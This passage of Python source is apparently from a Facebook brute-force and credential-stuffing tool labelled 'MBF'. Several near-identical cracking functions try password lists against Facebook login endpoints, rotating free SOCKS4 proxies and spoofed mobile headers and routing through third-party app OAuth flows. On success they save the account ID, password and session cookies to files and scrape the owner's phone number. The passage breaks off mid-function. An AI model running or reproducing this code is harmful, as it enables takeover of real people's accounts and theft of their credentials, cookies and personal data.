  923.             'referer': f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  924.             'accept-encoding': 'gzip, deflate, br',
  925.             'accept-language': 'zh-CN;q=0.8,zh;q=0.9'
  926.             }
  927.         )
  928.             #po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, allow_redirects=False,proxies=proxs)
  929.             po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  930.             if "datr" in ses.cookies.get_dict().keys():
  931.                 if 'no' in taplikasi:
  932.                     ok+=1
  933.                     coki=po.cookies.get_dict()
  934.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  935.                     #cooz = ses.cookies.get_dict()
  936.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  937.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  938.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  939.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  940.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  941.                     prints(tree)
  942.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  943.                     break
  944.                    
  945.                 elif 'ya' in taplikasi:
  946.                     ses = requests.Session()
  947.                     head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  948.                     kon = 'https://mbasic.facebook.com/profile.php?v=info'
  949.                     req = ses.get(kon,headers = head_pro, cookies = kuki).text
  950.                     try:
  951.                          cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
  952.                          nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
  953.                     except:
  954.                          nomor = '-'
  955.                     ok+=1
  956.                     coki = po.cookies.get_dict()
  957.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  958.                     #cooz = ses.cookies.get_dict()
  959.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  960.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  961.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  962.                     tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
  963.                     tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))                   
  964.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  965.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  966.                     prints(tree)
  967.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  968.                     cek_apk(kuki)
  969.                     break
  970.                                
  971.             elif "checkpoint" in po.cookies.get_dict().keys():
  972.                 tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  973.                 tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
  974.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  975.                 prints(tree)
  976.                 open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  977.                 akune.append(idf+'|'+pw)
  978.                 ceker(idf,pw)
  979.                 cp+=1
  980.                 break  
  981.                
  982.             else:
  983.                 continue
  984.         except requests.exceptions.ConnectionError:
  985.             time.sleep(31)
  986.     loop+=1
  987.    
  988. #----------[ MOBILE ASYINC ]----------#                            
  989. def cracking03(idf,pwx,url):
  990.     global loop,ok,cp
  991.     ses = requests.Session()
  992.     rr = random.randint
  993.     rc = random.choice
  994.     emot = rc(["😝","😜","🤪"])
  995.     prog.update(des,description=f"\r {emot} MBF 03 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  996.     prog.advance(des)
  997.     for pw in pwx:
  998.         try:
  999.             if 'ya' in uadia: ua = uamu[0]
  1000.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1001.             open('socksku.txt','w').write(proxs)
  1002.             nip = rc(proxs)
  1003.             proxs = {'http': 'socks4://'+nip}
  1004.             ua = rc(ugen)
  1005.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1006.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=1543146675982943&kid_directed_site=0&app_id=1543146675982943&signed_next=1&next=https%3A%2F%2F{url}%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Fapi.clashofstats.com%252Fauth%252Ffacebook%252Fcallback%26scope%3Demail%26client_id%3D1543146675982943%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D13aee46f-34bb-4856-8120-1093c2c7caa0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fapi.clashofstats.com%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1007.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1008.             'had_cp_prefilled': 'false',
  1009.             'had_password_prefilled': 'false',
  1010.             'is_smart_lock': 'true',
  1011.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1012.             "__dyn": "",
  1013.             "__csr": "",
  1014.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1015.             "__a": "",
  1016.             "__user": "0",
  1017.             "_fb_noscript": "true"}
  1018.             #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  1019.             head = {"Host": url,
  1020.             "content-length": f"{len(str(date))}",
  1021.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1022.             "sec-ch-ua-mobile": "?1",
  1023.             "user-agent": ua,
  1024.             "viewport-width": f"str(rr(400,989)",
  1025.             "content-type": "application/x-www-form-urlencoded",
  1026.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1027.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1028.             "x-asbd-id": "129477",
  1029.             "x-requested-with": "mark.via.gp",
  1030.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1031.             "sec-ch-prefers-color-scheme": "light",
  1032.             "sec-ch-ua-platform": '"Android"',
  1033.             "accept": "*/*",
  1034.             "origin": "https://"+url,
  1035.             "sec-fetch-site": "same-origin",
  1036.             "sec-fetch-mode": "cors",
  1037.             "sec-fetch-dest": "empty",
  1038.             "referer": f"https://{url}/login.php?skip_api_login=1&api_key=1543146675982943&kid_directed_site=0&app_id=1543146675982943&signed_next=1&next=https%3A%2F%2F{url}%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Fapi.clashofstats.com%252Fauth%252Ffacebook%252Fcallback%26scope%3Demail%26client_id%3D1543146675982943%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D13aee46f-34bb-4856-8120-1093c2c7caa0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fapi.clashofstats.com%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr",
  1039.             "accept-encoding": "gzip, deflate, br",
  1040.             "accept-language": "zh-CN;q=0.8,zh;q=0.9",
  1041.             "x-response-format": "JSONStream"}     
  1042.             #po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1043.             po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,allow_redirects=False,proxies=proxs)
  1044.             if "datr" in ses.cookies.get_dict().keys():
  1045.                 if 'no' in taplikasi:
  1046.                     ok+=1
  1047.                     coki=po.cookies.get_dict()
  1048.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1049.                     #cooz = ses.cookies.get_dict()
  1050.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1051.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1052.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1053.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1054.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1055.                     prints(tree)
  1056.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1057.                     break
  1058.                    
  1059.                 elif 'ya' in taplikasi:
  1060.                     ses = requests.Session()
  1061.                     head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  1062.                     kon = 'https://mbasic.facebook.com/profile.php?v=info'
  1063.                     req = ses.get(kon,headers = head_pro, cookies = kuki).text
  1064.                     try:
  1065.                          cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
  1066.                          nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
  1067.                     except:
  1068.                          nomor = '-'
  1069.                     ok+=1
  1070.                     coki = po.cookies.get_dict()
  1071.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1072.                     #cooz = ses.cookies.get_dict()
  1073.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1074.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1075.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1076.                     tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
  1077.                     tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))                   
  1078.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1079.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1080.                     prints(tree)
  1081.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1082.                     cek_apk(kuki)
  1083.                     break
  1084.                                
  1085.             elif "checkpoint" in po.cookies.get_dict().keys():
  1086.                 tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  1087.                 tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
  1088.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  1089.                 prints(tree)
  1090.                 open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1091.                 akune.append(idf+'|'+pw)
  1092.                 ceker(idf,pw)
  1093.                 cp+=1
  1094.                 break  
  1095.                
  1096.             else:
  1097.                 continue
  1098.         except requests.exceptions.ConnectionError:
  1099.             time.sleep(31)
  1100.     loop+=1
  1101.    
  1102. #----------[ M ALPHA ASYINC ]----------#                               
  1103. def cracking04(idf,pwx,url):
  1104.     global loop,ok,cp
  1105.     ses = requests.Session()
  1106.     rr = random.randint
  1107.     rc = random.choice
  1108.     emot = rc(["😝","😜","🤪"])
  1109.     prog.update(des,description=f"\r {emot} MBF 04 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1110.     prog.advance(des)
  1111.     for pw in pwx:
  1112.         try:
  1113.             if 'ya' in uadia: ua = uamu[0]
  1114.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1115.             open('socksku.txt','w').write(proxs)
  1116.             nip = rc(proxs)
  1117.             proxs = {'http': 'socks4://'+nip}
  1118.             #proxs = {'http': 'socks5://'+nip}
  1119.             ua = rc(ugen)
  1120.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1121.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1122.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1123.             'had_cp_prefilled': 'false',
  1124.             'had_password_prefilled': 'false',
  1125.             'is_smart_lock': 'true',
  1126.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1127.             "__dyn": "",
  1128.             "__csr": "",
  1129.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1130.             "__a": "",
  1131.             "__user": "0",
  1132.             "_fb_noscript": "true"}
  1133.             #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  1134.             head = {"Host": url,
  1135.             "content-length": f"{len(str(date))}",
  1136.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1137.             "sec-ch-ua-mobile": "?1",
  1138.             "user-agent": ua,
  1139.             "viewport-width": f"str(rr(400,989)",
  1140.             "content-type": "application/x-www-form-urlencoded",
  1141.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1142.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1143.             "x-asbd-id": "129477",
  1144.             "x-requested-with": "mark.via.gp",
  1145.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1146.             "sec-ch-prefers-color-scheme": "light",
  1147.             "sec-ch-ua-platform": '"Android"',
  1148.             "accept": "*/*",
  1149.             "origin": "https://"+url,
  1150.             "sec-fetch-site": "same-origin",
  1151.             "sec-fetch-mode": "cors",
  1152.             "sec-fetch-dest": "empty",
  1153.             "referer": "https://free.facebook.com/v13.0/dialog/oauth?client_id=344190606773871&redirect_uri=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook&state=cf6e9bb52dc57f69601e1f951fbfa5fa198fd9843a5250e744c7ec218d73&scope=email&ret=login&fbapp_pres=0&logger_id=a55bca6c-4160-473d-bebc-4b9ca91b72b4&tp=unspecified",
  1154.             "accept-encoding": "gzip, deflate, br",
  1155.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  1156.             "x-response-format": "JSONStream"}     
  1157.             #po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1158.             po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,allow_redirects=False,proxies=proxs)
  1159.             if "datr" in ses.cookies.get_dict().keys():
  1160.                 if 'no' in taplikasi:
  1161.                     ok+=1
  1162.                     coki=po.cookies.get_dict()
  1163.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1164.                     #cooz = ses.cookies.get_dict()
  1165.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1166.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1167.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1168.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1169.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1170.                     prints(tree)
  1171.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1172.                     break
  1173.                    
  1174.                 elif 'ya' in taplikasi:
  1175.                     ses = requests.Session()
  1176.                     head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  1177.                     kon = 'https://mbasic.facebook.com/profile.php?v=info'
  1178.                     req = ses.get(kon,headers = head_pro, cookies = kuki).text
  1179.                     try:
  1180.                          cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
  1181.                          nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
  1182.                     except:
  1183.                          nomor = '-'
  1184.                     ok+=1
  1185.                     coki = po.cookies.get_dict()
  1186.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1187.                     #cooz = ses.cookies.get_dict()
  1188.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1189.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1190.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1191.                     tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
  1192.                     tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))                   
  1193.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1194.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1195.                     prints(tree)
  1196.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1197.                     cek_apk(kuki)
  1198.                     break
  1199.                                
  1200.             elif "checkpoint" in po.cookies.get_dict().keys():
  1201.                 tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  1202.                 tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
  1203.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  1204.                 prints(tree)
  1205.                 open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1206.                 akune.append(idf+'|'+pw)
  1207.                 ceker(idf,pw)
  1208.                 cp+=1
  1209.                 break  
  1210.                
  1211.             else:
  1212.                 continue
  1213.         except requests.exceptions.ConnectionError:
  1214.             time.sleep(31)
  1215.     loop+=1
  1216.        
  1217. #----------[ M TOUCH ASYINC ]----------#                               
  1218. def cracking05(idf,pwx,url):
  1219.     global loop,ok,cp
  1220.     ses = requests.Session()
  1221.     rr = random.randint
  1222.     rc = random.choice
  1223.     emot = rc(["😝","😜","🤪"])
  1224.     prog.update(des,description=f"\r {emot} MBF 05 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1225.     prog.advance(des)
  1226.     for pw in pwx:
  1227.         try:
  1228.             if 'ya' in uadia: ua = uamu[0]
  1229.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1230.             open('socksku.txt','w').write(proxs)
  1231.             nip = rc(proxs)
  1232.             proxs = {'http': 'socks4://'+nip}
  1233.             #proxs = {'http': 'socks5://'+nip}
  1234.             ua = rc(ugen)
  1235.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1236.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1237.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1238.             'had_cp_prefilled': 'false',
  1239.             'had_password_prefilled': 'false',
  1240.             'is_smart_lock': 'true',
  1241.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1242.             "__dyn": "",
  1243.             "__csr": "",
  1244.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1245.             "__a": "",
  1246.             "__user": "0",
  1247.             "_fb_noscript": "true"}
  1248.             #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  1249.             head = {"Host": url,
  1250.             "content-length": f"{len(str(date))}",
  1251.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1252.             "sec-ch-ua-mobile": "?1",
  1253.             "user-agent": ua,
  1254.             "viewport-width": f"str(rr(400,989)",
  1255.             "content-type": "application/x-www-form-urlencoded",
  1256.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1257.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1258.             "x-asbd-id": "129477",
  1259.             "x-requested-with": "mark.via.gp",
  1260.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1261.             "sec-ch-prefers-color-scheme": "light",
  1262.             "sec-ch-ua-platform": '"Android"',
  1263.             "accept": "*/*",
  1264.             "origin": "https://"+url,
  1265.             "sec-fetch-site": "same-origin",
  1266.             "sec-fetch-mode": "cors",
  1267.             "sec-fetch-dest": "empty",
  1268.             "referer": "https://free.facebook.com/v4.0/dialog/oauth?response_type=code&client_id=923560728108869&redirect_uri=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&state=796d0cb30a47b485779b044fe00412aaf7a6176bdaa6da23&scope=public_profile%2C+email&ret=login&fbapp_pres=0&logger_id=316f61e8-edf0-4bff-9e1b-db57cccc4337&tp=unspecified",
  1269.             "accept-encoding": "gzip, deflate, br",
  1270.             "accept-language": "zh-CN;q=0.8,zh;q=0.9",
  1271.             "x-response-format": "JSONStream"}     
  1272.             #po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1273.             po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,allow_redirects=False,proxies=proxs)
  1274.             if "datr" in ses.cookies.get_dict().keys():
  1275.                 if 'no' in taplikasi:
  1276.                     ok+=1
  1277.                     coki=po.cookies.get_dict()
  1278.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1279.                     #cooz = ses.cookies.get_dict()
